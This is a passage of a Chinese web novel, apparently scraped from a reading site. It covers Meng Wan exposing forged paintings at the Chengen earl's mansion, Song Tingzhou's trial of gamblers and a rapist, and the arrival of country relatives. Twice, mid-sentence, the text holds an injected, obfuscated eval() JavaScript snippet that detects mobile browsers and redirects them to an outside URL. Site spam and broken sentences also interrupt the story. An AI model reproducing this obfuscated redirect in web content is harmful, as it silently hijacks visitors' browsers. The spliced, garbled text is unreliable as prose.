这人好不要脸,刚才还在义正言辞的指责夫郎,这会儿竟然就要摸他们夫郎收藏的画作。 “刘夫郎,是有什么指教吗?”孟晚字字清晰,语气真挚,完全是以晚辈的姿态认真请教。 刘夫郎也已经四十多岁的年纪,已经很久没有体会到脸热的感觉,这会儿双颊泛红,窘迫的说:“不敢谈什么指教不指教的,是我眼拙误会了孟夫郎,你这幅《皇极楼阁别亲图》才是真迹。” 两幅画就在一起,就算荣家的画没毁,恐怕也没有人会将二者混淆。 如此价值的佳作,与仿冒的假货放在一起,高下立见。 众人皆是哗然。 “那……那幅怪师戴仲的画,也是仿品?” 大家看荣老夫人的眼神都变了,刚才她一字一句,犹如泣血一般,叫人忍不住同情可怜,没想到…… 荣老夫人表情也是极为震惊,“这两幅画都是仿品?” 罗霁宁差点扔了瓜子鼓掌,又觉得荣老夫人这老家伙装的真像,好像真不知情似的。 孟晚把已经半干不干皱皱巴巴的第二幅画作拿起来,吹了吹上面落款处,“这幅倒不是假的,因为我师兄压根没画过这幅画。” 第39章 初露锋芒 “师兄?怪师戴仲是你师兄?他也是项先生的弟子?”刘夫郎惊疑不定。 都知道项芸有几个徒弟但她为人随性洒脱从来没搞过什么正式的收徒仪式早年那个大徒弟嫁人去世之后再也没听过剩下还有没有徒弟。 多年过去孟晚横空出世四处介绍自己是项芸徒弟。要不是林苁蓉认他大家还真没几个相信的。 不过这些年知道这件事的也是少数人。 直到正旦宴孟晚一战成名。 出名是出名见过他画的人仍是之前那一批因此孟晚实力依旧存疑。 甚至坊间有人阴谋论猜测孟晚是那些老谋深算的权臣故意推出来震慑吐蕃国的手段实际画的根本不怎么样 眼下在承恩伯爵府中孟晚的画这些人没见识到名家的封笔之作倒是有幸得见。 孟晚很以为戴仲是项芸弟子这件事京城里会有人知道呢没想到这个消息竟然还挺冷门也难怪承恩伯爵府的人会拿戴仲的赝品要是知道孟晚与戴仲的这层关系只怕会换上一幅别的。 眼下再后悔已经晚了。 孟晚展开另外第二幅画“诸位请看我师兄虽然人称怪师但他给自己的刻印的印章却是戴天麒。” 众人眼中惊讶又带着好奇有人猜道:“这是怪师的字?” 孟晚弯着眼睛笑“不这是他的原名戴仲其实是我师父后给他起得名字。” 项芸本来懒得管徒弟的杂事她只管指点他们画画但不知为何却给戴仲改了名字。和孟晚说起的时候只言天麒这两个字太过恢弘非他的命格所能承受。 这件事还不是秘密戴仲成年改名真正追捧他画作的人都知道他本名。 只能说伯爵府采买画作的人不太中意戴仲的画亦没想到真有一天会以这种方式用上还因此栽了个大跟头。 因为上一幅《皇极楼阁别亲图》所有人都已经毫不怀疑孟晚说的真伪了。大家左顾右看有尴尬不语的更多的则是一脸兴味的等着听荣老夫人解释。 荣老夫人费尽心机挑了两幅人迹罕至画作岂料还是撞到了孟晚手里她一脸的难以置信不似作假“这两幅画分明是老大媳妇孙氏在我寿诞的时候……唉真是孽障孽障啊!” “只是对 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 不住孟夫郎,让你平白操心了一场。她苍老的脸上满是灰败,仿佛被伤透了心,看着孟晚的眼神也似乎因为愧疚而闪闪躲躲。 高高在上了一辈子的老人做这副姿态,无端让人看着可怜,生出恻隐之心。 有人不忍心的规劝孟晚,“孟夫郎,荣老夫人也不是有意的,左右你也没损失什么,干脆这事就这么了了吧? 孟晚轻轻拍掌,“您这是说的哪里的话,我夫君也只是朝中三品,便是我因为圣上眷顾得了个一品诰命,也不敢在承恩伯爵府对一把年纪的荣老夫人放肆啊? 这话乍听很是谦虚,但仔细一琢磨又觉得耳熟。 有几位夫人的视线不自觉瞟向荣老夫人身上,对方刚才好像就说过类似的话。 他们回过味来,从荣家的人控诉宋家的小侍毁坏了画作,到后来被人冤枉谴责,这位孟夫郎自始至终都不动如山,淡然反击。 本来以为是个心里没成算的,现在看来,哪里是没成算,分明是胸有成竹,心有城府。 凑上前的人下意识都退后了一步,刚才为荣老夫人说话的人也开始默不作声。 没人喜欢和太聪明的人作对,而且她们只是看客,家世也不差,没那个必要因为可怜荣老夫人就替她出头露脸。 荣老夫人松垮的脸肉抽了一抽,没人为她说话,她就只能自己接下孟晚的话茬,不然刚才还拥护她的妇人们,转瞬便会质疑伯爵府的素养与威望。 “孟夫郎本是贵客,却在我荣家受了委屈,算是我荣家欠了你一次人情,往后但凡我荣家能帮得上的,定然不会推脱。她说的大义凛然,铿锵有力,实际上就是一堆废话而已。 孟晚可不是轻易被这种虚无缥缈的承诺打发的人,“老夫人这么说反倒叫晚辈不安了,这样吧,人情债就算了,听说荣老夫人府中收藏了一幅我师父的画作,我愿意出高价买下来,不知道老夫人愿不愿意? 荣老夫人暗道不妙,其实她家落魄是落魄,但还是留出两幅用来撑门面的字画的,项芸的某幅画作就是其中之一。 可她当下已经见识过孟晚的厉害了,这个小辈心机深沉,突然说要买画,八成是他上次登门的时候发现了什么端倪。 想到烂赌成性的大儿子,和唯利是图的大儿媳,荣老夫人眼前一阵发黑。 今天的事已经够丢人了,万万不能再起波澜 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ! 她年轻的时候应该也是位长相漂亮的姑娘,眼睛宽距很长,眼皮的褶皱很深,可惜皮下的双目已经变得浑浊。 荣老夫人扶着额头,“好……好,我这就派人……”话没说完她眼皮一阖,整个人向后倾倒。 膀大腰圆的贴身妈妈接住了她,“老夫人!老夫人你怎么了!快来人,去请郎中!” 喊叫声把刚料理完孙氏的齐夫人喊来了,她先是急匆匆的走跑到婆母面前,又下意识的抬头看向最前方的孟晚,强扯出一抹带着讨好的笑,然后才问向妈妈,“老夫人这是怎么了?” 妈妈还想再拉扯孟晚一遭,“是孟夫郎他……” “啪”地一声,齐夫人收起泛红的手掌,冷声责问:“我问你老夫人怎么了?你东扯西扯什么?” 一般宅子里跟着主母太君的老仆都是有几分颜面在的,就是家里的公子小姐也要叫声妈妈,荣老夫人身边的妈妈被这突如其来的一下子打懵了,随即很快捂着脸向盛怒的齐夫人告罪,“是老奴的错,老夫人她刚才还好好的,突然就晕了过去,许是……许是晌午的金华肘子吃多了几口,不……不克化了。” 齐夫人见众人都围在这里,无人看戏台上卖命表演的伶人,便知道此事绝不简单。但眼下不是深究的时候,先把眼前的煞星送走才好。 “先把老夫人带回去,速速请郎中来诊脉。”齐夫人先安置突然晕倒的婆母,然后对众人赔笑道歉,直言今日不便再接待,万望大家见谅。 见谅当然见谅,吃席面哪儿有吃瓜吃了一肚子的瓜,大家心满意足的离开。 临走前孟晚还不忘装模作样的可惜了一下,“桌上的银子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555219|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还请夫人收好,家里的画最好在找人鉴定一下……” 他说的委婉,但在场的夫人夫郎们都懂他话里的意思,除了一头雾水但对孟晚警惕万分的齐夫人。 罗霁宁磨磨蹭蹭的走在最后,不解的问道:“你师兄的就算了,你哪儿来的王千樾的画?这种封笔之作就是王府里也很少见。” 孟晚轻哼一声,“王千樾出家出的干脆,他妻子孩子是那么好过的?这幅画是他孙子给我的。” 罗霁宁迈出承恩伯爵府高高的门槛,“流落到卖家当了?” “不是,他孙子是我聘请的一个管事,过年给我贺礼的时候送了这幅画来。” 受了很多委屈和 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 宋亭舟接过乔兴源递过来的文册,口中对执勤的陶八吩咐道:“派人和几个城门的守城兵交代清楚,拦住承恩伯爵府出城的车,不管其中坐的是谁,都给本官押回顺天府来。” 他手下的人早已习惯他的行事作风。陶八没多问一句废话,立即带着人去城门口堵人。 宋亭舟报复人,可以隐忍数年,也可以一刻都不等。 他把刚收押入狱还没来得及被荣家保释的荣江提了出来,又叫来死者张壮的妹妹当庭对峙。 荣江与赌场的人勾结私放钱债被宋亭舟当场逮住已经是重罪,现在又有人命官司在身,重罪是免不了的。 然而一般共同**的案件,惩处方式又分几类,如今定罪量刑的是宋亭舟,他要重判还是轻判都无可指摘,这其中的能活动的空间很大,就像当年的槿姑杀夫。 残阳西落,火烧云铺满了半边天空,绚烂又磅礴。雪生跟在捂着胸口、驮着腰背的李惇身后,悄无声息,像是他的影子。 齐夫人应当是吓唬过李惇,他揣着包齐夫人散给他的银质首饰,连郎中也不敢看,生怕宋家报复,想在关城门前出城去避避风头。 他母亲是荣家的庶女,当时被嫁给一位富商,为了维护和伯爵府的关系,平时没少给荣家送重金。可惜后来富商死的早,几个儿子也不成器,分家之后家产都被败坏了。 如今李惇和母亲住在离京不远的镇子上,也算是当地乡绅了,只是这样坐吃山空,不知还能维持多少个年头。 雪生见他径直往城外走去,本想直接将人抓去顺天府,却看见李惇突然钻进一条小巷子里。 他轻点墙面,翻上墙头,看着李惇在巷子里七拐八拐,敲响了一户人家的大门。 这会儿家家户户的烟囱都冒着烟在准备晚饭,这家也不意外。有个容貌娇媚的年轻女娘正在抱着干柴准备进屋生火,房间内还时不时传出老人咳嗽的声音,又混又浊,带着“嗬嗬”的痰音,像是喉咙中堵着陈年棉絮,咳不出来,也咽不进去。 雪生就趴在房屋顶上,看着俯瞰李惇敲完门后躲在一侧,等女娘打开一条缝隙后猛地推门进去,捂着人的嘴巴小声威胁着什么。 过了一会儿那女娘才流着泪不甘地点了点头。 雪生又窥探了一会儿,发现李惇似乎要带着女娘一起跑路,直接从房顶跳下去将人擒住。 既然这女娘也同李惇有瓜葛,干脆将两人一起带去顺天府衙门。 第40章 亲戚 外城区卖豆腐的人家,不说大富大贵,家里也能凭着勤劳吃饱穿暖。 但他夫君偏偏和李惇搅在一起,染上赌瘾,白日里也不安分在家里做豆腐了,一门心思钻研牌桌上的那点事。 家里的生意都靠她和上了年纪的公公维持,做这样的小买卖赚的都是辛苦钱,如此早起贪黑的辛苦就算了,去年冬天她夫君竟然将家里积攒的银钱都输给了赌场。 以至于公公一气之下生了重病,又没有银钱去寻医问诊,越拖越重,年后便下不来床了。 “民妇一人独自支撑,我那冤家却一去不回,后来,后来李惇找上门来,说是民妇夫君将我卖给了他,他就……把我……把我给……”那女娘实在说不下去,伤心欲绝痛哭着,又觉得当堂承认自己被贼子**,羞愤难当,只恨不得**一回。 宋亭舟眉间渐渐拧起褶皱,但原本沉厉的嗓音放缓放缓了几分,“你若是无辜受累,本官自会放你离去,不必惊恐害怕。” 女娘抬头见堂上的大老爷虽然气势冷峻,但一脸正气,不是民间画本子、戏台上那样是非不分的贪官样。如死灰一般的心,竟然生出两分期翼来。 跪在另一头的李惇本来就吓破了胆,再加上被用了刑,更是惶恐害怕。宋亭舟又审问了几句,他便将自己知道的事都招了。 如何与他舅舅荣江在赌坊放贷,又因垂涎堂下女娘美色,诱导外城豆腐家男人赌钱,从而逼迫良家妇人。 如何在孙夫人的劝说下,色欲熏心,联合孙夫人想对孟晚行不轨之事。 禹国对于逼良成奸判处极重,更何况李惇数罪并罚。 宋亭舟笔尖微动,在案宗上落笔如刀劈般书写了一个“斩”字。 孙氏是意图迷晕孟晚,供侄子淫乐,虽未遂,然恶行已显,罪迹昭然。判杖八十,流放两千里。 李惇的口供,再加上荣江和赌坊那些人供词,宋亭舟直接将动手杀张壮的五个打手判了斩刑。荣江因全程参与,被判杖一百,流放三千里。 承恩伯爵府大房一家,竟是夫妻二人都被判了重刑。因顺天府位置特殊,宋亭舟审完了案子,当即便叫人将案宗送到了刑部。 不出意外的话,这些人三日内便会被执刑。 把那个无辜的女娘放走,陶十递给她一个包裹,“里面是李惇的财物,大人说算是你应得的赔偿。里面的首饰你或是剪碎 你的朋友正在书荒,快去帮帮他吧 了,或是自己融了都成,明早大人会派郎中给你爹看病…… 陶十正碎碎叨叨的交代着,宋亭舟牵着马从衙门里出来,上马前头也没回地说了一句,“往后若再遇不公之事,可来顺天府报官。 女娘跪在地上对宋亭舟离去的背影磕了个响头,“多谢……青天大老爷! —— 孟晚也不知道宋亭舟多晚回来,还是干脆在衙门中凑合一晚,便在门口处点了盏油灯,自己先睡了。 睡到半夜,身边的人带着一身的水汽上了床,孟晚迷迷糊糊的把眼皮撑开一条缝隙,外间的油灯不知是燃尽了,还是被晚归的宋亭舟给熄灭了。 “审完了?孟晚哑着声儿问。 宋亭舟熟练的将人揉进自己怀里,湿润的唇碾上孟晚的,吻到孟晚烦躁的揪他耳朵,才放开了快要被气醒的人,“审完了,睡。 孟晚瞬间传出均匀的呼吸声。 宋亭舟在浓稠如墨的夜色里无声的笑,而后拉起被子裹住孟晚,闭上了略显疲惫的眼睛。 孟晚醒来身边的人不在,那就是今天有早朝。 枝繁知叶估摸他起床的时间,将温水牙刷等都放好方便他洗漱。 孟晚慢吞吞的刷牙漱口,几捧尚存余温的水驱散了他残存的睡意。 他起的晚,是家里第三批吃早饭的人,这个时候阿砚和通儿已经去上学了,常金花和他们俩一起用膳。 楚辞和阿寻的时间不确定,有人求诊求得急可能连饭都不吃就走了。 孟晚自己也懒得挪窝,在自己院里用膳。 山药粳米粥配上一盘子酱萝卜,吃的人热乎乎的。 “夫郎,大人老家有人上门了。孟晚刚吃完一碗粥,前院的桂诚便进来禀告。 孟晚自己动手又盛了一碗,“老家?谁啊? 宋家的这些人除了雪生外,其余都是从岭南跟过来的,桂诚对宋家的情况也不大了解,挠着脖子说:“说是大人的舅母和表弟。 “舅母?表弟?孟晚这几天都在想唐妗霜等人来信说上京送账本的事,一时间没反应过来。 黄叶接待了人从前院过来,“夫郎,是打昌平来的。 一说昌平,孟晚瞬间如梦初醒,“啊,我知道了,将人请去老夫人院里。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 来的是宋亭舟的舅母和表弟住在泉水镇的那家常金花的亲弟媳和外甥儿。 西梧府就算了离昌平一南一北相距遥远常金花就是想家也知道不可能回去。可自打回了北方离昌平近了她就天天盼着回乡。 孟晚去她屋里告诉她常家的舅母来了哪怕早年有些埋怨常金花这会儿也是高兴的。 “那我去前院接她去。”常金花本来在她院子翻种园子闻言立马把手里的锄头给抛了。 孟晚劝她“叶哥儿已经去前院领人了娘你等着就是了。” 常金花拍了拍手上的土 孟晚见她真心高兴也跟着浅笑“放心吧娘。” 遂趁她去换衣裳的时候叮嘱常金花院里的大丫鬟苇莺和云雀“一会儿来的是老夫人的弟妹和外甥儿定是要住咱们家里的你们俩个机灵着点别让人惹了老夫人不痛快。” 常金花院里的两个大丫鬟是孟晚仔细挑选过得苇莺行事端方人又软和和碧云的脾气秉性很像。 云雀耳朵尖、眼睛亮透着股讨喜的活络劲儿孟晚一说她就琢磨过来这个老家来的舅太太怕不是同家里不大亲厚? 年后天气渐暖了之后孟晚就开始捣鼓院里的各处园子廊下的水塘和院子里的边边角角。 常金花院里的园子没有正院那么大孟晚找人运了些果树苗子栽了进去剩下的随常金花自己折腾种些青菜萝卜。 二进院和三进的正院园子都不小不光角落被孟晚吩咐着种上了石榴树、桂花树等。二进院会客厅处孟晚还花大价钱移来了两棵金丝楠木树以做镇宅之宝。 这会儿院里一车车的花草树苗连着泥土一车车的往院里拉宋家的仆人本来就少大家伙这些天都忙着种花栽树呢。 常舅母手里攥着个靛蓝色的粗布包裹坐在会客厅的椅子上还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555220|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没待上一会儿就坐不住了“这些树都要栽到哪儿去啊?又不长果子怎地还从外头往家里栽树?” 她身边的雨哥儿倒是坐得端端正正但眼睛也不住的四下打量。 前院门房、巡逻、马匹、搬运杂物等力气活计都是桂诚在管桂谦负责外出打交道和与沐泉庄 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 的庄头沟通等,有时候家里调动人手也归他管,或是跟着黄叶出去采买大件。 这会儿他也忙,但比桂诚强点,黄叶去正院禀告后,他便留在会客厅招待贵客。 听到常舅母的话桂诚笑道:“舅太太不知道,京城里的人家常栽种这些树木,叫庭木。不指望它长果子,是用来看的。” 常舅母心里一慌,心肝都在哆嗦的打颤,面上却还端着三品大员舅母的架子,仰着脖子说:“我自然见识过,镇上的老爷家里也种,听说不少钱呢!” 这些东西都是桂谦跑前跑后去买的,孟晚对这些东西抱着随缘的心态,附近有就买,没有也没必要跑到观景之风盛行的江南去,耗费人力、物力、钱力的采寻。 钱给得足足的,让桂谦看着采办。 孟晚在西梧府时是何等手段,岭南没有年轻商户是不崇拜他的,桂谦得他看重已经是天大的体面了,孟晚交代他办的事,桂谦无不尽心。 二进会客厅是整个宋家的脸面,桂谦四处打听才寻了这么两棵八十七年的金丝楠木树来。 这会儿被人提及,不免自得。 “舅太太说的是,那些个石榴桂花树也就三五十两银子一棵,贵的只有这两棵不长果实的金丝楠木树,您猜一棵多少银两?” 常舅母望着那些随意被扔在地上准备栽种的或大树,或小树苗的树木,怎么看也和乡下山里的没甚区别,有的山里长了怪树比这个还好看呢!这就三五十两银子一棵? 她口干舌燥的咽了口口水,端起桌上温热的茶水仰脖灌了进去,“多少……银两?” 比三五十两还多? “桂谦!”黄叶听了半截的话,过来瞪了桂谦一眼。 随后笑着和常舅母说:“舅太太,您快跟我去老夫人院里吧,她急着见您和表少爷呢!” 一直坐着不动,慢慢吞吞喝茶的雨哥儿眼睛一亮,蹭的一下从座位上站起来,催促常舅母道:“娘,咱们快去吧!” 桂谦揉了揉鼻子,目送三人离去,**活不停的桂城抓去做了苦力。 常舅母本来以为从会客厅出去,就能见到常金花,没想到被带着又进了一个大院子。 院子中间正在规整的花园都有三四亩大,周围又有小溪四边环绕,形成一道小河,再加上四周的木质连廊,整座院子大的出奇。 常舅母瞪着眼睛大喊,“我大姐就住在这个大院里?” 黄叶恭敬地回话:“舅太太,这是大人和夫郎住的正院,老妇人在后院,咱们这就到了。” 雨哥儿比他娘安静,他不自觉的摸了摸耳朵上的银色荷花状耳环,心飘飘然然。 走在干净漂亮的路上,脚下是漂亮的、五颜六色的砾石,他这会儿好像不在人间。 皇帝老爷也不过就住这么大吧? 这就是盛京城,他大官表哥住的又大又漂亮的大宅子。 第41章 娇客 常金花换了衣裳在屋里也坐不住,走到院子里来对着正院的方向眺望,孟晚也陪着她在院里等人。 黄叶带人从穿堂甬道走过来,对常金花和孟晚欠身行礼,“老夫人,夫郎,舅太太和表少爷……” 他话还没说完,常舅母已经挤到他前面亲亲热热的和常金花说话,“大姐,可算见着你了,大郎如今出息了,竟住这么大的宅子!” “这得多少人才能住的满啊?” “还有你们前院种那老些树,那么老些银子多可惜,从咱们老家的山上挖多好。” 她一上来就是一连串的话,说完了宅子又打量常金花的穿戴。 自从孟晚挣多了钱,就再也不爱给常金花买银的,什么贵的买什么,宝石头面都是一整套一整套的,大金镯子不重样的常金花有两匣子。 没有女子不爱打扮,常金花守寡多年已经习惯了,后来自己开店,倒是不想着那些条条框框,可为了方便做活,也不太喜欢带玉石。 这会儿她左右戴了只錾刻云纹金镯,发髻上插着两根镶着蓝宝石的金钗,分量足、工艺精湛,下头那根钗上还坠着麦穗样式的穗子,穗尾又是小块小块的黄宝石,再光晕中闪着晶莹剔透的光辉。 耳坠也是同样的黄金麦穗黄宝石,这一套只是在家里戴的普通首饰,却也能看出价格不菲。 常舅母眼睛都看直了,她亲昵地挽住常金花,用自己细棉布制成的衣裳紧挨着常金花的织锦缎面,“大姐,你瞧瞧你,穿戴的可真富贵,人也白了胖了,和从前可一点都不像了。” “我没胖多少,倒是你身子圆润了,人也显着年轻。”常金花看着常舅母发了福的圆脸,想起来她当年离开家乡时常舅母还是一头浓密的乌发,也就眼角有些细纹,这些年可能是过得舒心,人确实胖了不少,脸上的褶皱也多了。 雨哥儿学着刚才黄叶那样,扭着纤细的腰肢对常金花和孟晚欠了欠身,“大姑,表嫂。” 他比他娘强,就算心里激动又忐忑,面上还能似模似样的行礼,就是学得不大好,腰扭得过分了,显得有些不伦不类。 孟晚笑着应了一声,“欸,想必舅母和雨哥儿一路过来也累了,咱们进屋去说话吧。” 常金花见到亲人也是高兴的,比起弟媳妇,她更喜欢自己外甥儿,“雨哥儿,跟大姑进去坐,大姑旁边的小院还空着,晚上你 和你娘住姑姑屋里,还是单独住在小院里都成。” 雨哥儿羞涩的点点头,“知道了大姑。” 常金花屋子里布局和正院差不多,一进去就是中堂,平常大家若是在她这里吃饭,就在中堂吃。 中堂正中间是八仙桌和椅子,最里面靠北是贵妃榻和边几,两者之间用一扇巨大的屏风格挡住。 中堂很大,那架屏风更大,像是一堵墙搁在中间,上头绘着一座区别于北方的宅院,有天井和小楼,院子四处都种着甘蔗。一位中年妇人带着个小童坐在竹倚上晒太阳,仔细看中年妇人的怀里还抱着个娃娃。 旁边是一位青衣少年牵了头白狼在研磨药粉,毛茸茸的狼尾在暖阳下发出虹光。 他们身后的屋子里,夫夫二人正凑在一起看同一封书信。 门口处有站了个仰头看向日光的男人,长相平平无奇,但眉目温和。 整幅画上面都没有画太阳,但阳光洒在了每个人的身上,平和又温馨。 “这画上是你吧大姐?后头那是大郎和晚哥儿?天娘啊,咋画的和真的似的?”常舅母发自内心的惊叹,然后话锋一转,“这上头咋都是金色的啊?不是那些贵老爷说的啥金粉吧?” 常金花知道她品性,便矢口否认,“谁家金粉撒画上头,是晚哥儿弄得颜料。” 这架屏风纯粹是孟晚画给常金花撑门面用的,上头确实是真金。 孟晚用了一整箱的金子让匠人反复锤炼做成金箔纸,这种画画用的金箔纸比寻常的金箔纸还要薄,吹起来比羽毛还要轻。 需要匠人仔仔细细,一张张将打造好的金箔纸贴在屏风上,不留余缝,以供孟晚画画。 这架屏风是纯粹的奢侈品,侯府、王府里头可能也有以金箔纸绘画的东西,但绝对不如孟晚的画工精湛。 比孟晚画工更精湛的,又不见得比他有钱。 常舅母瞧着上头金灿灿的心中存疑,还想上手去摸,常金花忙将人拉进屋子里去,“里头备了果珍罐和点心果子,你和雨哥儿快进去尝尝。” 中堂两边左边的屋子闲置着,常金花把夫君的牌位供奉在里面,逢年过节一家人进去上炷香,换换贡品。 右侧就是常金花的卧房,卧房又分里间外间。里间床几乎闲置,阿砚有时候困了会在里面睡觉。常金花平日里都是在外间的炕上睡。 外间的炕铺得很大,靠着南面的窗户,阳光洒进来格外透亮。 苇莺和朱雀候在里头给众人打帘子,倒是把常舅母和雨哥儿吓了一跳,没想到里头还有人在。 “老夫人,夫郎。” “舅太太,表少爷。” 宋家的下人行礼都十分简单干脆,没有太多的俏皮话。 雨哥儿眼睛还在盯着那架华丽的屏风出神,耳朵又听下人们恭恭敬敬地行礼问安,心里说不出什么滋味,只觉得胸口酸酸胀胀的。 短短这么小会儿的功夫,他已经下定了决心,自己一定要留在盛京城,再也不回泉水镇那个小镇子上去了! 常舅母倒是没客气,不用人招呼,脱了鞋子便要上炕,可她和雨哥儿入了京便一路打听到宋家来,还没来得及梳洗,就是天气不热,这一路赴京来不方便随时梳洗,身上也是酸臭的,脱了鞋子味道更加明显。 别人还没如何,雨哥儿先是羞红了脸,“大姑,我想先洗洗澡。” 朱雀忙说道:“表少爷别急,奴婢这就去提水来。” 常舅母看出儿子窘迫,只能重新穿上鞋子,由常金花亲自领着去里间,让她们母子俩在里头洗漱洗漱。 家里没穿过的新衣裳多的是,常金花找出来一身给常舅母。孟晚看上去乐呵呵的,但他的衣裳不管穿不穿都不乐意随便送人。 便派黄叶去拿了一身阿寻的衣裳暂且给雨哥儿穿上,阿寻不喜欢穿太华贵的衣裳,颜色也不喜娇艳。 雨哥儿有些嫌弃身上是旧衣,料子也没母亲那身好,觉得是孟晚敷衍,找了身下人的来。 但孟晚下一句又说:“今日舅母和雨哥儿来的突然,行李也不多,想必没带几件换洗的衣裳穿。午后我带雨哥儿去成衣铺子挑上几身现成的先穿,再让蓝月铺子里的人给雨哥儿和舅母定几身衣裳。” 这样一来雨哥儿反而不好意思了,“不用了表嫂,这就已经很好了。” 他娘掐了把他腰背,瞪了他一眼,“你表嫂好意你就领下,穿得破破烂烂倒丢他们的脸。” 雨哥儿便又不说话了,他其实也很希望孟晚给他买新衣,镇子上的小哥儿和他一起玩的时候,动不动就提哪个员外家里的小哥儿又穿了京城的时兴款式。 他悄悄打量孟晚身上的衣裳,明明也不怎么明艳,穿在表嫂的 身上怎么就这么合身好看呢? 常金花不爱听弟媳妇的话,“说什么丢脸不丢脸的。雨哥儿,上来大姑身边坐。” 雨哥儿上了炕,长条的炕桌上摆了六盘子点心。 常舅母眼睛都直了,不知道从哪儿开始吃,惦记着儿子,上手先给雨哥儿拿了一块浅粉色的糕,“到你大姑家里不用客气,快吃。” 雨哥儿只觉得她这般行径,让常金花和孟晚瞧着丢人,羞的眼眶都有些湿润,愣是张不开嘴。 常金花把倒在碗里的荔枝罐头端在他面前,声音放的轻缓,和蔼地说:“这一路上肯定也饿了,先垫一垫,等晌午大姑给你好好张罗一桌席面。” 雨哥儿顺势放下糕点,接过常金花递过来的荔枝罐头,想问这是个什么吃食,又怕说出来惹大家笑话,便小心翼翼地用勺子舀起来一颗,咬了一口吃进去。 下一秒甜味和荔枝的香甜充斥在口腔中,雨哥儿眼睛一亮,“好好吃啊!” 说完又止不住后悔,怕孟晚暗地里笑话他没见识,便又不说话了,不知不觉吃了半碗,再馋也不动嘴了。 常金花和常舅母唠了几句家常,便问到自己母亲身上。 宋亭舟外祖母也已经七十来岁了,活到这个年纪已经是高寿。常金花在岭南的时候便时常惦记,怕自己见不得她最后一面。 常舅母仍旧笑着说话,“都好呢,就是现在年纪大了,有些下不来床。你放心吧大姐,家里有你外甥和外甥媳妇在呢,不必惦念。” 孟晚注意到雨哥儿在她母亲说话的时候略低着头,让人看不见他的表情。 “雨哥儿,我看你戴的钗环也有些旧了,午后我带你去首饰铺子里再挑上一些吧?” 雨哥儿果然惊喜,他下意识抬头的瞬间,脸上心虚的模样还没来得及掩饰。 孟晚有些不好的猜想,但想想又不算太过意外。 常金花好不容易见到亲人,还是先叫她舒心开心一些吧,旁的事往后再说也来得及。 晌午常金花亲自去厨房张罗饭食,没做什么精巧东西,大部分都是肉菜,什么炙羊腿、猪肘子、猪蹄、烧鸡、清蒸鲥鱼等,有清炒了几道素菜,满满登登一大桌子。 饭后孟晚果然带着雨哥儿出门,去蓝月的成衣铺子逛了逛。 “孟夫郎,怎么是您亲自过来了?”蓝 月正忙得不可开交,还是门口招呼客人的小哥儿见到了孟晚,特意到后院去把蓝月找来了。 孟晚最喜欢看的就是小哥儿女娘们独当一面做生意,勤快又精明的样子。“你忙你的就行了,我来给表弟挑几身现成的成衣,顺便再定做几身。” “后面有的是人手,暂且用不到我,后头还有新做出来的成衣,我让伙计们拿过来几身新的给你们相看。”蓝月的铺子前期几乎全是孟晚帮他支撑起来的,孟晚来照顾他生意,他就是忙飞了也不可能不来作陪。 蓝月店里的衣裳现在已经扩展的很好了,衣裳的种类也不单一,又偏岭南民族风的,也有盛京的时兴款式。 雨哥儿的眼睛只管往颜色鲜艳又漂亮的上面瞄,选了两身裙子之后就说够了。 蓝月又亲自给雨哥儿量了身形尺寸,说做好了新衣就立即差人送到宋家去,孟晚便又告辞带着雨哥儿离开。 说好了给雨哥儿买首饰,孟晚又拐了个弯儿去另一条街的首饰铺子。并不是价格昂贵的宝光斋,却也是中上等铺子,铺面同样铺得很大,大部分都是小富人家的哥儿女娘来买。 孟晚不差钱,可也不是见谁都撒钱的冤大头,他库房的首饰都是可遇不可求的精品,雨哥儿只是个亲戚家的孩子,给他买衣裳买首饰可以,百两千两就算了。 饶是如此,铺子里琳琅满目的珠宝首饰也已经看花了雨哥儿的眼睛,他还算有些分寸,在两根银钗和一根金钗之间犹豫了一会儿,选了一支重一两六钱的双蝶戏菊金钗。 上头的蝶翅是镂空的,边缘还嵌了几颗米粒大小的玉珠,栩栩如生,很是好看,有不少女娘小哥儿都在相看。 孟晚二话不说给他买了下来,又给他挑了两三对玉石耳坠,和一对麻花翡翠玉镯,“戴着玩吧,就当是我送的见面礼了。” 雨哥儿惊喜不已,他今年十六了,正是爱美的年纪,捧着几个盒子对孟晚亲亲热热的叫表嫂。 他们回去了之后,雨哥儿迫不及待的将孟晚送他的镯子戴在手上,常舅母虽然高兴孟晚给他儿子买东西,又嫌弃他买的少了。 拿着雨哥儿的金钗和黄叶头上的比较,觉得自己儿子是宋家的娇客,戴的却和下人头上的差不离,是丢了份儿,明里暗里想让孟晚再给雨哥儿添上几支钗环首饰,且她自己也想戴。 雨哥儿生怕母亲的话惹恼了孟晚,又觉得表嫂笑呵呵的脾气极好,没准真的还会给她再买。 纠结难受,又说不了他娘,干脆红着脸摆弄自己新衣裳。 常金花早就知道自己弟妹是个什么货色,从自己首饰匣子里挑了两只二两重的金镯给她,让她闭上了嘴巴。 宋亭舟下了衙回来,从前院的桂诚口中得知常舅母带孩子来家里做客的事,回正院屋里将官服换下来去常金花处见常舅母。 